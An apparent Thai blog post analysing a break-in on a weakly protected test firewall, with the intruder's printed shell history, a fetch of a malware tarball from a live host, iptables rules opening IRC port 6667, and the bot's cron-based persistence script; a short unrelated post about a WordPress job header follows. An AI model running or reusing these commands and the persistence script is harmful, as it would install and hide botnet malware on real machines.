The hacker ep 1

firewall โดน hack ครับ…

จริงๆ คือเปิดไว้ให้ hack นั่นแหละ เพราะ ตั้งให้ ssh ผ่าน port 22 แถมยัง ตั้ง password ของ root โคตรง่ายยยยยยยยย

username : root
password : 123456

อีกทั้งภายในตัว firewall ก็ไม่มีอะไร และด้านหลัง firewall ก็ไม่มี client (ตั้ง firewall ไว้ทดสอบ IDS เฉยๆ)

สถานการณ์

login โดยใช้ password เดิม ไม่ได้ จึงคิดว่า โดน hack แน่นอน

จึงทำการ boot เป็น single แล้วแก้ password

ตรวจสอบ

login เข้าเครื่องได้ ได้ปุุ๊บก็ตรวจ history ทันที

    1  uname -a
    2  cat /proc/cpuinfo
    3  uname -a
    4  ls -a
    5  php -v
    6  cat .bash_history
    7  cat .bash_history
    8  cd /var/tmp
    9  ls -a
   10  cd  thunder
   11  ls -a
   12  mkdir thunder
   13  cd /tmp
   14  ls -a
   15  mkdir .X10-unix
   16  cd .X10-unix
   17  mkdir ...
   18  cd ...
   19  wget http://angellove.ucoz.net/_ld/0/6_crondDts.tgz
   20  tar -xzvf 6_crondDts.tgz
   21  rm -rf 6_crondDts.tgz
   22  cd crondDts
   23  ls -a
   24  nano m.set
   25  chmod +x *
   26  ./crond
   27  ./autorun
   28  iptables -I INPUT -p tcp --dport 6667 -j ACCEPT
   29  iptables -I OUTPUT -p tcp --dport 6667 -j ACCEPT
   30  /sbin/iptables -I INPUT -d 0/0 -s 0/0 -p tcp --dport 6667 -j ACCEPT
   31  /sbin/iptables -I OUTPUT -d 0/0 -s 0/0 -p tcp --dport 6667 -j ACCEPT
   32  id
   33  passwd
   34  ls

พบว่า… hacker พยายาม โหลดอะไรบางอย่างมาติดตั้ง(19) แล้วทำการแก้ไข iptables ให้เปิด port 6667 (28-31)
พบว่า… hacker ช่างไม่รู้เลยว่า… firewall ไม่มี gateway จะโหลดอะไร(19)มาต้อง route add default gw ก่อนนะ(สอน)
พบว่า… hacker อ่อนมาก เพราะพิมพ์ผิดหลายครั้ง แถมยังทำอะไรๆผิดหลายอย่าง = =!
พบว่า… hacker พยายามทำอะไรสักอย่างกับ cron(26)

# crontab -l
* * * * * /tmp/.X10-unix/.../crondDts/y2kupdate >/dev/null 2>&1

แต่เนื่องจาก reboot ไปแล้ว จึงไม่ทราบว่า y2kupdate มันคืออะไร
จากการคาดเดาแล้ว hacker คนนี้ไม่ใช่มนุษย์ ต้องเป็น bot ที่ hack ไปเรื่อยๆๆๆๆๆๆ จนกว่าไฟจะดับ network จะล่ม เพราะ y2kupdate มันตั้งแต่ปี 2000 แล้ว(โว้ย)

ย้อนรอย

เนื่องจากไม่ได้เก็บ log file จึงไม่รู้ว่าโดน hack มาจาก IP ไหน (ลืมนั่นเอง)

มันมีอะไร

bot hacker พยายามโหลดอะไรบางอย่าง(ซึ่งไม่สำเร็จ)

เรามาดูกันว่าข้างในมีอะไร …

$ wget http://angellove.ucoz.net/_ld/0/6_crondDts.tgz
--2011-09-22 22:03:21--  http://angellove.ucoz.net/_ld/0/6_crondDts.tgz
Resolving angellove.ucoz.net... 193.109.247.52
Connecting to angellove.ucoz.net|193.109.247.52|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 270564 (264K) [application/octet-stream]
Saving to: `6_crondDts.tgz.2'

100%[======================================>] 270,564     13.1K/s   in 13s     

2011-09-22 22:03:34 (20.8 KB/s) - `6_crondDts.tgz.2' saved [270564/270564]

ข้างในมี file อยู่ 4 file

$ ls -l
total 36
-rw-r--r-- 1 code code    97 2011-06-14 19:43 1
-rw-r--r-- 1 code code   140 2011-06-14 19:43 2
-rw-r--r-- 1 code code   323 2001-10-13 21:38 autorun
-rw-r--r-- 1 code code 24576 2011-09-22 22:07 crond

ขอดูข้างในหน่อยซิ

$ cat 1
handle		angellove
mask		[email protected]
prot		4
channel		*
access		100

$ cat 2
handle          angeloflove
mask            [email protected]
prot            4
channel         *
access          100

$ cat autorun 
#!/bin/sh
pwd > m.dir
dir=$(cat m.dir)
echo "* * * * * $dir/y2kupdate >/dev/null 2>&1" > cron.d
crontab cron.d
crontab -l | grep y2kupdate
echo "#!/bin/sh
if test -r $dir/m.pid; then
pid=\$(cat $dir/m.pid)
if \$(kill -CHLD \$pid >/dev/null 2>&1)
then
exit 0
fi
fi
cd $dir
./run &>/dev/null" > y2kupdate
chmod u+x y2kupdate

$ file crond 
crond: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked (uses shared libs), stripped

ผมพยายาม search หาข้อมูลแต่ก็ไม่พบว่า มันคืออะไร แต่เท่าที่ดู น่าจะเป็น Botnet

เอาไว้โดน hack อีกแล้วจะเล่าให้ฟังนะครับ 🙂

งานหาง่าย

nostradamus:~ code$ curl -I http://wordpress.com
HTTP/1.1 200 OK
Server: nginx
Date: Tue, 07 Apr 2009 05:35:59 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: close
Last-Modified: Tue, 07 Apr 2009 05:35:41 +0000
Cache-Control: max-age=12, must-revalidate
Vary: Cookie
X-hacker: If you're reading this, you should visit automattic.com/jobs and apply to join the fun, mention this header.
X-Pingback: http://wordpress.com/xmlrpc.php
X-nananana: Batcache